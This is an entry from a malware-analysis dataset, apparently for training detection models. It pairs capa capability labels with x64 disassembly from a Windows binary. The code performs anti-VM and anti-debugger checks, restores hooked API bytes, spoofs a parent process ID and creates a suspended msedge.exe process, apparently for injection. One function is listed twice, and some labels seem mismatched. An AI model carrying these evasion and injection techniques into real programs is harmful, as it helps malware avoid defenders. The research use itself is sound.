joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016e00
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov rbx, rcx
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140016e3e
mov rbp, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rdi
mov rcx, rax
call rbp
test rax, rax
mov rsi, rax
je 0x140016e3e
movzx eax, byte [rax]
add eax, 0x18
cmp al, 1
jbe 0x140016e50
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rdx, [rsp + 0x30]
mov r8d, 0x30
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140016e3e
cmp dword [rsp + 0x50], 0x1000
jne 0x140016e3e
cmp dword [rsp + 0x54], 0x40
je 0x140016e3e
lea r13, [rsp + 0x2c]
mov rdx, qword [rsp + 0x48]
mov r8d, 0x40
mov rcx, qword [rsp + 0x30]
mov r9, r13
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r12
test eax, eax
je 0x140016e3e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbx, rax
je 0x140016ed2
mov rdx, rdi
mov rcx, rax
call rbp
test rax, rax
je 0x140016ec9
mov edx, dword [rax]
mov dword [rsi], edx
movzx eax, byte [rax + 4]
mov byte [rsi + 4], al
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8d, dword [rsp + 0x2c]
mov r9, r13
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call r12
jmp 0x140016e3e

Function at 0x140016ef0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x20
lea rbx, str.kernel32.dll
lea rdx, str.CreateProcessW
mov rcx, rbx
call fcn.140016e00
lea rdx, str.NtOpenProcess
lea rcx, str.ntdll.dll
call fcn.140016e00
lea rdx, str.ReadFile
mov rcx, rbx
call fcn.140016e00
lea rdx, str.WriteFile
mov rcx, rbx
call fcn.140016e00
lea rdx, str.CloseHandle
mov rcx, rbx
call fcn.140016e00
lea rdx, str.VirtualAlloc
mov rcx, rbx
call fcn.140016e00
lea rdx, str.VirtualFree
mov rcx, rbx
call fcn.140016e00
lea rdx, str.VirtualProtect
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140016e00
Function at 0x140016f90
Capabilities:
Enumerate processes

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x150
lea rdi, str.vmware.exe
mov ecx, 0x120
lea r12, [rdi + 0x48]
call fcn.1400b0df0
mov rbp, rax
mov rbx, rax
nop dword [rax]
mov rsi, qword [rdi]
lea rax, [rbx + 0x10]
mov qword [rbx], rax
test rsi, rsi
je 0x1400170f2
mov rcx, rsi
add rdi, 8
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rbx
mov rdx, rsi
add rbx, 0x20
lea r8, [rsi + rax]
call fcn.14009b830
cmp rdi, r12
jne 0x140016fc0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov r13, rax
je 0x1400170e9
lea r14, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
mov rdx, r14
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1400170e0
mov rdi, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
lea r12, [rsp + 0x4c]
cmp rbp, rbx
je 0x1400170c8
mov rsi, rbp
jmp 0x140017059
add rsi, 0x20
cmp rbx, rsi
je 0x1400170c8
mov rdx, qword [rsi]
mov rcx, r12
call rdi
test eax, eax
jne 0x140017050
mov rcx, r13
mov edi, 1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rbp
nop word cs:[rax + rax]
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
cmp rcx, rax
je 0x140017099
mov rax, qword [rsi + 0x10]
lea rdx, [rax + 1]
call fcn.1400b0db0
add rsi, 0x20
cmp rbx, rsi
jne 0x140017080
mov edx, 0x120
mov rcx, rbp
call fcn.1400b0db0
mov eax, edi
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rdx, r14
mov rcx, r13
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14001703c
nop dword [rax + rax]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
cmp rbp, rbx
jne 0x140017073
jmp 0x1400170a2
lea rcx, [0x1400b72a8]
call fcn.1400b1c50
nop
nop
push rbx
sub rsp, 0xa0
mov edx, 1
mov r9d, pe_nt_image_headers64
mov ecx, 0x424d5352
mov qword [rsp + 0x20], 0
lea rbx, [rsp + 0x20]
mov qword [rsp + 0x28], 0
mov r8, rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov edx, eax
xor eax, eax
test edx, edx
je 0x1400171e6
lea rdx, str.VMware
mov rcx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_strstr
mov rdx, rax
mov eax, 1
test rdx, rdx
je 0x1400171f0
add rsp, 0xa0
pop rbx
ret
lea rdx, str.VirtualBox
mov rcx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_strstr
test rax, rax
setne al
add rsp, 0xa0
pop rbx
ret
Function at 0x140017100
Capabilities:
Get system firmware table

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x150
lea rdi, str.vmware.exe
mov ecx, 0x120
lea r12, [rdi + 0x48]
call fcn.1400b0df0
mov rbp, rax
mov rbx, rax
nop dword [rax]
mov rsi, qword [rdi]
lea rax, [rbx + 0x10]
mov qword [rbx], rax
test rsi, rsi
je 0x1400170f2
mov rcx, rsi
add rdi, 8
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rbx
mov rdx, rsi
add rbx, 0x20
lea r8, [rsi + rax]
call fcn.14009b830
cmp rdi, r12
jne 0x140016fc0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov r13, rax
je 0x1400170e9
lea r14, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
mov rdx, r14
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1400170e0
mov rdi, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
lea r12, [rsp + 0x4c]
cmp rbp, rbx
je 0x1400170c8
mov rsi, rbp
jmp 0x140017059
add rsi, 0x20
cmp rbx, rsi
je 0x1400170c8
mov rdx, qword [rsi]
mov rcx, r12
call rdi
test eax, eax
jne 0x140017050
mov rcx, r13
mov edi, 1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rbp
nop word cs:[rax + rax]
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
cmp rcx, rax
je 0x140017099
mov rax, qword [rsi + 0x10]
lea rdx, [rax + 1]
call fcn.1400b0db0
add rsi, 0x20
cmp rbx, rsi
jne 0x140017080
mov edx, 0x120
mov rcx, rbp
call fcn.1400b0db0
mov eax, edi
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rdx, r14
mov rcx, r13
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14001703c
nop dword [rax + rax]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
cmp rbp, rbx
jne 0x140017073
jmp 0x1400170a2
lea rcx, [0x1400b72a8]
call fcn.1400b1c50
nop
nop
push rbx
sub rsp, 0xa0
mov edx, 1
mov r9d, pe_nt_image_headers64
mov ecx, 0x424d5352
mov qword [rsp + 0x20], 0
lea rbx, [rsp + 0x20]
mov qword [rsp + 0x28], 0
mov r8, rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov edx, eax
xor eax, eax
test edx, edx
je 0x1400171e6
lea rdx, str.VMware
mov rcx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_strstr
mov rdx, rax
mov eax, 1
test rdx, rdx
je 0x1400171f0
add rsp, 0xa0
pop rbx
ret
lea rdx, str.VirtualBox
mov rcx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_strstr
test rax, rax
setne al
add rsp, 0xa0
pop rbx
ret

Function at 0x140017230
Capabilities:
Get system firmware table

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140017250
mov eax, 1
add rsp, 0x28
ret
call fcn.140016f90
test al, al
jne 0x14001723e
add rsp, 0x28
jmp 0x140017100
Function at 0x1400174c0
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x150
xor edx, edx
mov ecx, 2
mov dword [rsp + 0x20], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x140017560
lea rsi, [rsp + 0x20]
mov rcx, rax
mov rdx, rsi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140017540
mov rdi, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
lea r12, [rsp + 0x4c]
lea rbp, str.explorer.exe
jmp 0x140017527
mov rdx, rsi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140017540
mov rdx, rbp
mov rcx, r12
call rdi
test eax, eax
jne 0x140017518
mov esi, dword [rsp + 0x28]
jmp 0x140017542
xor esi, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rbx, qword [0x1400bd590]
mov r8d, 0x28
lea rdx, str.CreateToolhelp32Snapshot_failed._Error:
mov rcx, rbx
call fcn.1400abb20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
mov edx, eax
call fcn.140071220
mov rbx, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rsi, qword [rbx + rax + 0xf0]
test rsi, rsi
je 0x1400175fa
cmp byte [rsi + 0x38], 0
je 0x1400175d0
movsx edx, byte [rsi + 0x43]
mov rcx, rbx
xor esi, esi
call fcn.14006fe80
mov rcx, rax
call fcn.140070060
mov eax, esi
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rsi
call fcn.140022c50
mov rax, qword [rsi]
mov edx, 0xa
lea rcx, [0x140023300]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x1400175ad
mov rcx, rsi
call rax
movsx edx, al
jmp 0x1400175ad
call fcn.1400b1bd0
nop
Function at 0x140017c50
Capabilities:
Spoof parent pid

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rbx, rcx
mov ecx, 0x70
mov qword [rsp + 0x88], rdx
call fcn.1400b0df0
mov ecx, 0xe
xor r8d, r8d
mov rsi, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x48], 0
mov rdx, rax
xor eax, eax
mov rdi, rdx
mov qword [rbx], rdx
rep stosq qword [rdi], rax
lea rdi, [rsp + 0x48]
mov dword [rdx], 0x70
mov edx, 1
mov r9, rdi
call rsi
mov rcx, qword [rsp + 0x48]
mov rbp, qword [rbx]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
mov rcx, rax
mov qword [rbp + 0x68], rax
je 0x140017e82
xor r8d, r8d
mov r9, rdi
mov edx, 1
call rsi
test eax, eax
je 0x140017d20
mov rax, qword [rbx]
xor edx, edx
mov r8d, 0x20000
lea r9, [rsp + 0x88]
mov rcx, qword [rax + 0x68]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x140017de0
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rsi, qword [0x1400bd590]
mov r8d, 0x31
lea rdx, str.InitializeProcThreadAttributeList_failed._Error:
mov rcx, rsi
call fcn.1400abb20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140071220
mov rsi, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rdi, qword [rsi + rax + 0xf0]
test rdi, rdi
je 0x140017eae
cmp byte [rdi + 0x38], 0
je 0x140017db0
movsx edx, byte [rdi + 0x43]
mov rcx, rsi
call fcn.14006fe80
mov rcx, rax
call fcn.140070060
mov rax, qword [rbx]
mov rcx, qword [rax + 0x68]
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, qword [rbx]
test rcx, rcx
je 0x140017d16
mov edx, 0x70
call fcn.1400b0db0
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rdi
call fcn.140022c50
mov rax, qword [rdi]
mov edx, 0xa
lea rcx, [0x140023300]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140017d71
mov rcx, rdi
call rax
movsx edx, al
jmp 0x140017d71
mov rsi, qword [0x1400bd590]
mov r8d, 0x29
lea rdx, str.UpdateProcThreadAttribute_failed._Error:
mov rcx, rsi
call fcn.1400abb20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140071220
mov rsi, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rdi, qword [rsi + rax + 0xf0]
test rdi, rdi
je 0x140017eae
cmp byte [rdi + 0x38], 0
je 0x140017e58
movsx edx, byte [rdi + 0x43]
mov rcx, rsi
call fcn.14006fe80
mov rcx, rax
call fcn.140070060
mov rax, qword [rbx]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
jmp 0x140017d81
mov rcx, rdi
call fcn.140022c50
mov rax, qword [rdi]
mov edx, 0xa
lea rcx, [0x140023300]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140017e31
mov rcx, rdi
call rax
movsx edx, al
jmp 0x140017e31
mov rcx, qword [0x1400bd590]
lea rdx, str.Failed_to_allocate_memory_for_attribute_list.
call fcn.1400ae7d0
mov rcx, rax
call fcn.1400ad310
mov rcx, qword [rbx]
test rcx, rcx
jne 0x140017d95
jmp 0x140017d16
call fcn.1400b1bd0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400784c0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.api_ms_win_crt_stdio_l1_1_0.dll__fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
cmp eax, 0xffffffff
movsxd rbp, eax
je 0x140078508
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400784da
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x1400b1750
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1b8
call fcn.14000b0b0
call fcn.140017230
test al, al
jne 0x1400b1923
lea rbp, [rsp + 0x80]
mov ecx, 0x12c
call fcn.140015710
call fcn.140016ef0
mov rcx, rbp
call fcn.140016220
mov rbx, qword [rsp + 0x80]
cmp qword [rsp + 0x88], rbx
je 0x1400b18f0
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x60]
call fcn.140017360
test al, al
je 0x1400b18f0
lea r12, [rsp + 0xa0]
lea rdx, str.NxoMEj0WCD09CAAKQmU
mov rcx, r12
call fcn.1400161a0
mov r13, qword [rsp + 0x60]
xor r8d, r8d
mov ecx, 0x3a
lea rdi, [rsp + 0xc0]
xor r9d, r9d
lea rsi, str._C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe____no_start_up_window___win_session_start__prefetch:5
rep movsd dword [rdi], dword [rsi]
mov rsi, qword [rsp + 0x68]
xor ecx, ecx
mov dword [rsp + 0x20], r8d
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplication
mov qword [rsp + 0x30], rcx
xor r8d, r8d
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rax
lea rcx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x28], 0x8000004
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r15, qword [rsp + 0x58]
test eax, eax
mov r14, qword [rsp + 0x50]
je 0x1400b1943
mov r9, qword [rsi]
lea rdx, [rsp + 0x70]
xor eax, eax
mov rcx, rbp
lea r8, [rsp + 0x78]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call fcn.140017740
test rax, rax
mov rdi, rax
je 0x1400b19b9
mov rcx, qword [rsi + 8]
mov rdx, qword [rsp + 0x78]
call fcn.140017b20
test al, al
je 0x1400b1985
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
add eax, 1
je 0x1400b1979
mov rbp, qword [rsp + 0x70]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rsi
mov r9, r15
mov r8, r14
mov rdx, rax
mov qword [rsp + 0x20], r13
mov rcx, rdi
xor esi, esi
mov qword [rsp + 0x30], rbp
call fcn.140017600
mov rcx, r12
call fcn.14009b3a0
jmp 0x1400b18f5
mov esi, 1
test rbx, rbx
je 0x1400b190d
mov rdx, qword [rsp + 0x90]
mov rcx, rbx
sub rdx, rbx
call fcn.1400b0db0
mov eax, esi
add rsp, 0x1b8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [0x1400bd590]
lea rdx, str.Environment_checks_failed._Exiting...
or esi, 0xffffffff
call fcn.1400ae7d0
mov rcx, rax
call fcn.1400ad310
jmp 0x1400b190d
lea rcx, str.Failed_to_create_process
call fcn.140017270
xor edx, edx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rsi
mov r9, r15
mov r8, r14
xor edx, edx
mov qword [rsp + 0x20], r13
xor ecx, ecx
call fcn.140017600
mov esi, 1
jmp 0x1400b18e6
lea rcx, str.Failed_to_resume_thread
call fcn.140017270
mov rbp, qword [rsp + 0x70]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rsi
mov r9, r15
mov r8, r14
mov rdx, rax
mov qword [rsp + 0x20], r13
mov rcx, rdi
mov qword [rsp + 0x30], rbp
call fcn.140017600
jmp 0x1400b196f
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rax
jmp 0x1400b1956
Function at 0x140008520
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000856a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000856a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000856a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000856a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000856a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000856c
xor al, al
add rsp, 0x28
ret

Function at 0x14000bb34
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000bba3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bba3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bba3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bba3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bba3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bba3
cmp dword [rcx + 0xf8], 0
je 0x14000bba3
mov ecx, ebx
call fcn.14000bc54
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000ba30
nop
cmp dword [rbp + 0x20], 0
je 0x14000bbf1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000bbfc
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000bb34

Function at 0x14000bd38
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000bb34
Function at 0x14000ff48
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000ffcf
mov rsi, rbx
cmp word [rax], bp
je 0x14000ff8e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000ff78
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000ff74
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140010494
mov rdi, rax
test rax, rax
je 0x14000ffbc
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140016050
mov rbp, rdi
xor ecx, ecx
call fcn.14000d0f8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140014010
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140024970]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140014067
cmp word [rdx], r13w
jne 0x140014067
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001406c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140014191
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400141b2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400140a5
mov rdx, r9
mov word [rbx], cx
jmp 0x1400140cc
cmp r9, r8
jae 0x1400140dc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140014086
jmp 0x140014191
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014186
cmp dword [rsp + 0x80], esi
je 0x140014186
lea r8, [0x140024970]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001415e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001412e
mov word [rbx], r13w
jmp 0x14001418e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001413b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001418e
cmp word [rsp + 0x70], r13w
jne 0x14001416b
cmp rbx, r14
je 0x140014128
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140013f30
cmp word [rsp + 0x70], r13w
je 0x140014191
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140024970]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001418b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140014191
Function at 0x140014980
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140013f30
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140013f30
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140014ad0
cmp rax, 0xffffffffffffffff
je 0x140014ad0
xor edi, edi
test rbp, rbp
jle 0x140014a7b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14000d080
mov rbx, rax
test rax, rax
jne 0x140014a08
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140014a71
mov edx, 0x8000
mov ecx, r14d
call fcn.14000cb2c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400120d8
cmp eax, 0xffffffff
je 0x140014a51
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140014a18
mov edx, r15d
mov ecx, r14d
call fcn.14000cb2c
jmp 0x140014a71
cmp byte [rsi + 0x38], dil
je 0x140014a68
cmp dword [rsi + 0x34], 5
jne 0x140014a68
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140014a71
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14000d0f8
jmp 0x140014ae4
jns 0x140014ae4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140013f30
cmp rax, 0xffffffffffffffff
jne 0x140014a9c
cmp byte [rsi + 0x30], dil
je 0x140014ae4
mov edi, dword [rsi + 0x2c]
jmp 0x140014ae4
mov ecx, r14d
call fcn.140010a9c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140014ae4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140014ae4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140014add
mov eax, dword [rsi + 0x2c]
jmp 0x140014ae2
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140013f30
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
